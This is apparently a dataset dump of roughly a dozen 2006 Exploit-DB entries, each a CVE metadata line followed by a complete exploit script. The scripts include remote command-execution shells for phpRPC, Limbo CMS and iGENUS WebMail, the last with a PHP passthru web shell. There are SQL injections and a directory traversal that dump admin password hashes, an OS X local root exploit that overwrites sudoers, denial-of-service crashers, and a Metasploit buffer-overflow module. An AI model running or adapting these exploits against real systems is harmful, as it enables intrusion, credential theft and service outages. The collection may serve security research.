QLWD/code_shield huggingface dataset:
标题: phpRPC Library 0.7 - XML Data Decoding Remote Code Execution (1) EDB-ID: 1542 CVE: 2006-1032 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-01 漏洞利用脚本: #!/usr/bin/perl
#
#root@host [~]# perl rpc.pl phprpc.sourceforge.net /modules/phpRPC/server.php
#--== IHS IRAN HOMELAND SECURITY ==--
#
#phpRPC <= 0.7 commands execute exploit by LorD (http://www.ihs.ir)
#
#[IRAN HOMELAND SECURITY]$ uname -a;id;pwd
#Linux sc8-pr-web9.sourceforge.net 2.6.10-1.771_FC2smp #1 SMP Mon Mar 28 01:10:51 EST 2005 i686 i686 i386 GNU/Linux
#uid=65534(nfsnobody) gid=65534(nfsnobody) groups=65534(nfsnobody)
#/home/groups/p/ph/phprpc/htdocs/modules/phpRPC
#_end_
#[IRAN HOMELAND SECURITY]$
#
#
# 0rginal Advisory : http://www.gulftech.org/?node=research&article_id=00105-02262006
# Greetz to NT and C0d3r
use IO::Socket;
print "--== IHS IRAN HOMELAND SECURITY ==--\n\n";
print "phpRPC <= 0.7 commands execute exploit by LorD (http://www.ihs.ir)\n\n";
if ($ARGV[0] && $ARGV[1])
{
 $host = $ARGV[0];
 $xml = $ARGV[1];
 $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host",
 PeerPort => "80") || die "connecterror\n";
 while (1) {
  print '[IRAN HOMELAND SECURITY]$ ';
  $cmd = <STDIN>;
  chop($cmd);
  last if ($cmd eq 'exit');
  $xmldata = "<?xml version=\"1.0\"?><methodCall><methodName>test.method</methodName><params><param><value><base64>'));echo '_begin_\n';echo `".$cmd."`;echo '_end_\n';exit;</param></params></methodCall>";
  print $sock "POST ".$xml." HTTP/1.1\n";
  print $sock "Host: ".$host."\n";
  print $sock "Content-Type: text/xml\n";
  print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
  $good=0;
  while ($ans = <$sock>)
  {
   if ($good == 1) { print "$ans"; }
   last if ($ans =~ /^_end_/);
   if ($ans =~ /^_begin_/) { $good = 1; }
  }
  if ($good==0) {print "Exploit Failed\n";exit();}
 }
}
else {
 print "Usage: perl rpc.pl host path_to_phpRPC\n\n";
 print "Example: perl rpc.pl target.com /server.php\n";
 exit;
}

# milw0rm.com [2006-03-01] URL: https://www.exploit-db.com/exploits/1542
标题: vuBB 0.2 Final - 'cookie' SQL Injection EDB-ID: 1543 CVE: 2006-0962 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-01 漏洞利用脚本: #!/usr/bin/perl 
print q{
----------------------------------------------------------------------

 vuBB <=0.2 Final Remote SQL Injection (cookies) Exploit
 
  exploit discovered and coded by KingOfSKa
   
   https://contropotere.netsons.org

----------------------------------------------------------------------

};

use LWP::UserAgent;

   $ua = new LWP::UserAgent;
   $ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[1]) {$ARGV[1] = '1';}

my $path = $ARGV[0] . '/index.php';
my $user = $ARGV[1];   # userid to jack
my $uname = $ARGV[2];
my $answer = "";
my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");
if (!$ARGV[2])
{
        print q{
  Usage:
  
  perl vubb.pl FULL_URL_TO_VBB VICTIM_USER_ID USER_NICKNAME
  perl vubb.pl http://www.somesite.com/vubb 1 administrator
  
  };
exit();

}
print "[URL:] $path\r\n";
print "[USERID:] $user\r\n";
print "[USERNAME:] $user\r\n";
print "Starting connection...\r\n";

my $j = 0 ;
for( $i=1; $i < 33; $i++ )
{
        for( $j=1; $j < 17; $j++ )
        {
 
                $current = $charset[$j];
  
  my $sql = "99%27+OR+(id%3d".$user."+AND+MID(pass,".$i.",1)%3d%27".$charset[$j]."%27)/*"; 
                my @cookie = ('Cookie' => "user=kingofska; pass=$sql;");
                my $res = $ua->get($path, @cookie);

                $answer = $res->content;
  #print $answer; #Just for debugging...
  if ($answer =~/(.*)Welcome $uname(.*)/){$outputs.= $current; print "$i/32 found...\r\n"; }
 }

 
}


if ( length($outputs) < 1 )   { print "Not Exploitable!\r\n"; exit;     }
print  "User Hash is: $outputs \r\n";
exit;

# milw0rm.com [2006-03-01] URL: https://www.exploit-db.com/exploits/1543
标题: Apple Mac OSX - '/usr/bin/passwd' Custom Passwd Privilege Escalation EDB-ID: 1545 CVE: 2005-2713 类型: LOCAL 平台: OSX 发布日期: 2006-03-01 漏洞利用脚本: #!/usr/bin/perl
#
# /usr/bin/passwd[OSX]: local root exploit.
# 
# by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
# 
# (Apple) OSX's /usr/bin/passwd program has support for a custom
# passwd file to be used instead of the standard/static path.  this
# feature has security issues in the form of editable file(s) being
# made anywheres on the disk and also writing arbitrary data to files.
#
# the first issue will only work if the file does not already exist,
# it is done using "umask 0;/usr/bin/passwd -i file -l <filename>".
# the second issue is once a successful password change has occured
# /usr/bin/passwd will insecurely re-write the passwd file to
# /tmp/.pwtmp.<pid>, which can be predicted and linked to a file of
# your choice. (this exploits the second issue to overwrite 
# /etc/sudoers)
#
# (for some reason this took apple 6 or so months to patch)

use POSIX;

$fake_passwd="/tmp/xpasswd.$$";
$passwd_pid=($$ + 1);
$passwd_tempfile="/tmp/.pwtmp.$passwd_pid";
$sudoers="/etc/sudoers";

sub pexit{print("[!] @_.\n");exit(1);}
print("[*] /usr/bin/passwd[OSX]: local root exploit.\n");
print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n");
unlink($fake_passwd);
print("[*] making fake password file. ($fake_passwd)\n");
open(FP,">$fake_passwd")||pexit("couldn't open/write to $fake_passwd");
# uid must equal the current user.
print(FP "ALL ALL=(ALL) ALL #::" . getuid . ":" . getuid . "::" .
getuid . ":" . getuid . "::/:/\n");
close(FP);
print("[*] sym-linking $sudoers -> $passwd_tempfile.\n");
symlink($sudoers,$passwd_tempfile)||pexit("couldn't link files.");
print("[*] running /usr/bin/passwd on $fake_passwd.\n");
print("[*] (use ANY password longer than 4 characters)\n\n");
system("/usr/bin/passwd -i file -l $fake_passwd \"ALL ALL=(ALL) ALL #\"");
print("\n[*] running \"sudo sh\", use your REAL (user) password.\n\n");
system("/usr/bin/sudo sh");
exit(0);

# milw0rm.com [2006-03-01] URL: https://www.exploit-db.com/exploits/1545
标题: Limbo CMS 1.0.4.2 - 'itemID' Remote Code Execution EDB-ID: 1541 CVE: 2006-1662 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-01 漏洞利用脚本: #!/usr/bin/perl
##
## Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit
## Bug Discovered by: Coloss / Epsilon (advance1[at]gmail.com) http://coded.altervista.org/limbophp.pl
## /str0ke (milw0rm.com)

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];
$command  =  $ARGV[2];
$cmd      =  "echo start_er;".
             "$command;".
             "echo end_er";

my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

sub usage
{
        print "Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit /str0ke (milw0rm.com)";
        print "Usage: $0 www.example.com /directory/ \"cat config.php\"\n";
        print "sever    -  URL\n";
        print "path     -  path to limbo\n";
        print "command  -  command to execute\n";
        exit ();
}

sub exploit
{
        print qq(Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit\n/str0ke (milw0rm.com)\n\n);
        $URL = sprintf("http://%s%sindex.php?option=frontpage&Itemid=passthru($byte)",$serv,$path);
        my $content = get "$URL";
        if ($content =~ m/start_er(.*?)end_er/ms) {
                my $out = $1;
                $out =~ s/^\s+|\s+$//gs;
                if ($out) {
                        print "$out\n";
                }
        }
}

if (@ARGV != 3){&usage;}else{&exploit;}

# milw0rm.com [2006-03-01] URL: https://www.exploit-db.com/exploits/1541
标题: TotalECommerce 1.0 - 'index.asp?id' SQL Injection EDB-ID: 1550 CVE: 2006-1109 类型: WEBAPPS 平台: ASP 发布日期: 2006-03-04 漏洞利用脚本: Original advisory: http://www.nukedx.com/?viewdoc=18
Advisory by: nukedx
Full PoC
Explotation:
GET -> http://[victim]/[dir]/index.asp?secao=[PageID]&id=[SQL]
EXAMPLE 1 -> http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION+select+senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha+from+administradores
EXAMPLE 2 -> http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION+select+login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login+from+administradores
with example 1 remote attacker can get admin's encrypted password and with example 2 remote attacker can get admin's login name
[PageID]: must be working page id you can get some from frontpage.
<--Decrypter code-->
<--Note: This decrypter just decrypts default data
If webmaster changed te_chave value in funcoes.asp
this decrypter wont decrypt data so you need to 
make your own decrypter
-->
<--C Source-->
/*********************************************
*        TotalECommerce PWD Decrypter        *
*        Coded by |SaMaN| for nukedx         *
*          http://www.k9world.org            *
*              IRC.K9World.Org               *
*Advisory: http://www.nukedx.com/?viewdoc=18 *
**********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

int main()
{
  char buf[255];
  char buf2[255];
  char buf3[255];
  char *texto;
  char *vcrypt;   
  int i,x,z,t = 0;
  char saman;
  texto = buf;
  vcrypt = buf2;
  printf("%s", "|=------------------------------------=|\n");
  printf("%s", "   Coded by |SaMaN| @ IRC.K9World.Org\n");
  printf("%s", "|=------------------------------------=|\n\n");
  printf("%s", "Enter crypted password: ");
  scanf("%200s", buf);
  if (!texto)
  vcrypt = "";

  for (i = 0; i < strlen(texto); i++)
  {
    if ((vcrypt == "") || (i > strlen(texto)))
    x = 1;
    else 
    x = x + 1;
    t = buf[i];
    z = 255 - t;
    saman = toascii(z);
    snprintf(buf3, 250, "%c", saman);
    strncat(buf2, buf3, 250);
  }
  printf("Result: %s\n", buf2);
  return;
}
<--End of code-->
<--Thanks |SaMaN| for decrypter-->

// milw0rm.com [2006-03-04] URL: https://www.exploit-db.com/exploits/1550
标题: MyBulletinBoard (MyBB) 1.03 - 'misc.php' SQL Injection EDB-ID: 1539 CVE: 2006-0959 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-28 漏洞利用脚本: MyBB New SQL Injection

D3vil-0x1 < Devil-00 >

Milw0rm ID :-
http://www.milw0rm.com/auth.php?id=1320

The Inf.File :-
misc.php

Linez :-

[code]
 $buddies = $mybb->user['buddylist'];

 $namesarray = explode(",",$buddies);

 if(is_array($namesarray))

 {

  while(list($key, $buddyid) = each($namesarray))

  {

   $sql .= "$comma'$buddyid'"; <== HERE :) Uncleard Var !!

   $comma = ",";

  }

 $timecut = time() - $mybb->settings['wolcutoff'];

 $query = $db->query("SELECT u.*, g.canusepms FROM ".TABLE_PREFIX."users u LEFT JOIN ".TABLE_PREFIX."usergroups g ON (g.gid=u.usergroup) WHERE u.uid IN ($sql)");
[/code]

From 255 to 265

The GLOBALS unset function .. do not unset $_COOKIES ..
then u can start attacking any var by cookies :)

Tested MyBB 1.3 .. Register_Globals = On

Explorer Exploit :-

1- Login by any username ..
2- Create new cookie (
 name  => "comma"
 value => "comma=0)%20%3C%3E%200%20UNION%20ALL%20SELECT%201,loginkey,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,1 FROM mybb_users WHERE uid=1/*")

3- Check The URL :-
HOST/PATH/misc.php?action=buddypopup

Where HOST = The Vic.Server And PATH = MyBB Dir.

# milw0rm.com [2006-02-28] URL: https://www.exploit-db.com/exploits/1539
标题: XM Easy Personal FTP Server 1.0 - 'Port' Remote Overflow (PoC) EDB-ID: 1552 CVE: 2006-2226 类型: DOS 平台: WINDOWS 发布日期: 2006-03-04 漏洞利用脚本: #!/usr/bin/perl

# ---------------------------------------------------- #
# Name        : XM Easy Personal FTP Server            #
# Version     : 4.2                                    #
# ---------------------------------------------------- #
# Type        : dos / remote                 #
# Descritpion : buffer overflow for huge PORT value    #
# ---------------------------------------------------- #
# luka.research - id:28022006001                       #
# ---------------------------------------------------- #

use Net::FTP;

$host = @ARGV[0];

if ($host)
{
 $ftp = Net::FTP->new($host, Debug => 0);
 $ftp->login("anonymous",'me@here.there');
 $ftp->port("\x41"x9999);
}         
else {
 print "\n- XM Easy Personal FTP Server 4.2 - PoC Exploit\n- Using: $0 host\n"; 
}  

# milw0rm.com [2006-03-04] URL: https://www.exploit-db.com/exploits/1552
标题: Farsinews 2.5 - Directory Traversal Arbitrary 'users.db' Access EDB-ID: 1538 CVE: 2006-0660 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-28 漏洞利用脚本: #!/usr/bin/perl
#
# FarsiNews 2.5pro Show User&Passowrd
# Exploit by Hessam-x (www.hessamx.net)
#
#
######################################################
#  ___ ___                __                         #
# /   |   \_____    ____ |  | __ ___________________ #
#/    ~    \__  \ _/ ___\|  |/ // __ \_  __ \___   / #
#\    Y    // __ \\  \___|    <\  ___/|  | \//    /  #
# \___|_  /(____  /\___  >__|_ \\___  >__|  /_____ \ #
#       \/      \/     \/     \/    \/            \/ #
#             Iran Hackerz Security Team             #
#               WebSite: www.hackerz.ir              #
#                                                    #
######################################################
# Description                                        #
#                                                    #
# Name    : FarsiNews [www.farsinewsteam.com]        #
# version : 2.5Pro                                   #
######################################################
# in FarsiNews if you change the archive value :
# http://localhost/index.php?archive=hamid
# see :
# Warning: file([PATH]/data/archives/hamid.news.arch.php):
# failed to open stream: No such file or directory in [PATH]\inc\shows.inc.php on line 642
# Warning: file([PATH]/data/archives/hamid.comments.arch.php):
# failed to open stream: No such file or directory in [PATH]\inc\shows.inc.php on line 686
# ...[and many other error]
# it means that shows.inc.php  try to open  '/archives/hamid.news.arch.php'  (and also 'hamid.comments.arch.php')  to read it's data .
# we can change the archive value to '/../users.db.php%00' to see all username and password .
# Exploit :
# http://localhost/index.php?archive=/../users.db.php%00
# http://localhost/Farsi1/index.php?archive=/../[file-to-read]%00
# F0und by hamid
use LWP::Simple;

print "-------------------------------------------\n";
print "=             Farsinews 2.5Pro            =\n";
print "=       By Hessam-x  - www.hackerz.ir     =\n";
print "-------------------------------------------\n\n";


       print "Target(www.example.com)\> ";
       chomp($targ = <STDIN>);

       print "Path: (/fn25/)\>";
       chomp($path=<STDIN>);

$url = "index.php?archive=/../users.db.php%00";
$page = get("http://".$targ.$path.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $targ\n";

$page =~ m/<img alt="(.*?)" src=/ && print "[+] Username:\n $1\n";
$page =~ m/style="border: none;" align="right" \/>(.*?)<\/font>/ && print "[+] MD5 Password:\n $1\n";

print "[-] Unable to retrieve User ID\n" if(!$1);

# milw0rm.com [2006-02-28] URL: https://www.exploit-db.com/exploits/1538
标题: FreeBSD 6.0 - 'nfsd' Remote Kernel Panic (Denial of Service) EDB-ID: 1540 CVE: 2006-0900 类型: DOS 平台: BSD 发布日期: 2006-02-28 漏洞利用脚本: #!/usr/bin/perl
## Saw an advisory on Dailydave and wrote a little script to
## check my freebsd boxes (kind of evil). /str0ke (milw0rm.com)
##
## ProtoVer NFS testsuite 1.0 uncovered remote kernel panic vulnerability in FreeBSD 6.0 kernel.
## Evgeny Legerov
## www.gleg.net

use IO::Socket;

sub usage
{
    print "FreeBSD 6.0 (nfsd) Remote Kernel Panic Denial of Service Exploit\n";
    print "Advisory from Evgeny Legerov (www.gleg.net)\n";
    print "Code by str0ke (milw0rm.com)\n";
    print "Usage: $0 www.example.com\n";
    exit ();
}

my $host = shift || &usage;

my $printer = "\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00" .
              "\x00\x00\x00\x02\x00\x01\x86\xa5\x00\x00\x00\x01" .
              "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00" .
              "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04" .
              "\x2f\x74\x6d\x70";

$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $host, PeerPort => "2049") || die "\n+ Connection failed...\n";
print $socket $printer . "\n";

# milw0rm.com [2006-02-28] URL: https://www.exploit-db.com/exploits/1540
标题: Kerio Personal Firewall 2.1.4 - Remote Authentication Packet Overflow (Metasploit) EDB-ID: 1537 CVE: 2003-0220 类型: REMOTE 平台: WINDOWS 发布日期: 2006-02-28 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::kerio_auth;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {

 'Name'  => 'Kerio Personal Firewall 2 (2.1.4) Remote Authentication Packet Buffer Overflow',
 'Version'  => '$Revision: 1.1 $',
 'Authors' => [ 'y0 [at] w00t-shell.net', ],
 'Arch'  => [ 'x86' ],
 'OS'    => [ 'win32', 'win2000', 'winxp', ],
 'Priv'  => 0,
 'UserOpts'  => {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target port', 44334],
  'SSL'   => [0, 'BOOL', 'Use SSL'],
   },
 'AutoOpts' => { 'EXITFUNC' => 'process' },
 'Payload' => {
  'Space'     => 1000,
  'BadChars'  => "\x00",
  'Prepend'   => "\x81\xc4\x54\xf2\xff\xff",
  'Keys'      => ['-ws2ord'],
   },

 'Description'  => Pex::Text::Freeform(qq{
 This module exploits a stack overflow in Kerio Personal Firewall 
administration authentication process. This module has only been tested 
against Kerio Personal Firewall 2 2.1.4.
}),

 'Refs'  =>  [
  ['BID', '7180'],
  ['CVE', '2003-0220'],
  ['URL', 'http://www1.corest.com/common/showdoc.php?idx=314&idxseccion=10'],
   ],

 'Targets' => [
  ['Windows 2000 Pro SP4 English', 0x7c2ec68b],
  ['Windows XP Pro SP0 English',   0x77e3171b],
  ['Windows XP Pro SP1 English',   0x77dc5527],
   ],

 'Keys' => ['firewall'],

 'DisclosureDate' => 'Apr 28 2003',

  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Exploit
{
 my $self = shift;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');
 my $target_idx  = $self->GetVar('TARGET');
 my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
 my $target = $self->Targets->[$target_idx];

 if (! $self->InitNops(128)) {
  $self->PrintLine("[*] Failed to initialize the nop module.");
  return;
 }

 my $sploit =
   Pex::Text::AlphaNumText(4268). $shellcode.
   pack('V', $target->[1]). "\xe9\x0b\xfe\xff\xff";

 $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));

 my $s = Msf::Socket::Tcp->new
   (
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'LocalPort' => $self->GetVar('CPORT'),
  'SSL'       => $self->GetVar('SSL'),
   );
 if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }

 $s->Send($sploit);
 $self->Handler($s);
 $s->Close();
 return;
}

1;

# milw0rm.com [2006-02-28] URL: https://www.exploit-db.com/exploits/1537
标题: PwsPHP 1.2.3 - 'index.php' SQL Injection EDB-ID: 1532 CVE: 2006-0943 2006-0668 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-25 漏洞利用脚本: #!/usr/bin/perl
#
# PwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit
# http://example.com/index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*
# Discovered by: papipsycho (papipsycho.com) (WOrlddefacers.de)
# ported by str0ke (milw0rm.com)

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];

sub usage
 {
    print "\nPwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit\n";
    print "Discovered by: papipsycho (papipsycho.com)\n";
    print "Ported by str0ke (milw0rm.com)\n";
    print "Usage: $0 www.example.com /directory/\n";
    print "sever    -  URL\n";
    print "path     -  path to index.php\n";
    exit ();
}

sub exploit
 {
    print qq(
    PwsPHP <= 1.2.4 (index.php) Remote SQL Injection Exploit
    Discovered by: papipsycho (papipsycho.com)
    Ported by str0ke (milw0rm.com)\n\n);

    $string= "index.php?mod=sondages&do=results&id=1%20union%20select%20id,0,0,pseudo,pass,pseudo,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20%60users%60%20/*";
    $url = sprintf("http://%s%s%s",$serv,$path,$string);
    $content = get "$url";
    @contents = split(/\n/, $content);
    foreach $line (@contents) {
    if ($line =~ /(\<center\>\<b\>)(.*?)(\<\/b\>\<\/center\>\<br\>\<br\>)/){&username;}
    if ($line =~ /(\<td\>)(\w{32})(\<\/td\>)/){&password;}
    }
}

sub username { print "[*] Username: $2\n";}
sub password { print "[*] Hash: $2\n\n";}

if (@ARGV != 2){&usage;}else{&exploit;}

# milw0rm.com [2006-02-25] URL: https://www.exploit-db.com/exploits/1532
标题: iGENUS WebMail 2.0.2 - 'config_inc.php' Remote Code Execution EDB-ID: 1527 CVE: 2006-1031 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-25 漏洞利用脚本: #!/usr/bin/perl
use IO::Socket;

print "______________________________________________________\r\n";
print "iGENUS WebMail <= 2.0.2 remote commads xctn\r\n";
print "-> works against PHP5 with register_globals = On\r\n";
print "   & allow_url_fopen = On\r\n";
print "by rgod rgod<AT>autistici<DOT>org\r\n";
print "site: http://retrogod.altervista.org\r\n\r\n";
print "dork:  intitle:\"igenus webmail login\"\r\n";
print "______________________________________________________\r\n";

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 4)
{
print "\r\nUsage:\r\n";
print "perl igenus_xpl.pl SERVER PATH FTP_LOCATION COMMAND\r\n\r\n";
print "SERVER         - Server where iGENUS is installed.\r\n";
print "PATH           - Path to iGENUS (ex: /igenus/ or just /) \r\n";
print "FTP_LOCATION   - an FTP site with the code to include\r\n";
print "COMMAND        - a Unix command\r\n\r\n";
print "Example:\r\n";
print "perl igenus_xpl.pl localhost /igenus/ ftp://username:password/somehost.com ls -la\r\n";
print "perl igenus_xpl.pl localhost /igenus/ ftp://username:password/somehost.com/subdir cat config_inc.php\r\n\r\n";
print "note: on ftp location you need this code in .config :\r\n";
print "<?php ob_clean();ini_set(\"max_execution_time\",0);passthru(\$_GET[\"cmd\"]);die;?>\r\n\r\n";
exit();
}

  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";
  print $sock "GET ".$path."config/config_inc.php?cmd=".$cmd."&SG_HOME=".$loc." HTTP/1.1\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Connection: close\r\n\r\n";

  while ($answer = <$sock>) {
    print $answer;
  }
  close($sock);

# ----------------> also, with magic_quotes_gpc = Off, try this:
# http://[target]/[path]/?Lang=../../../../../../../../etc/passwd%00

# milw0rm.com [2006-02-25] URL: https://www.exploit-db.com/exploits/1527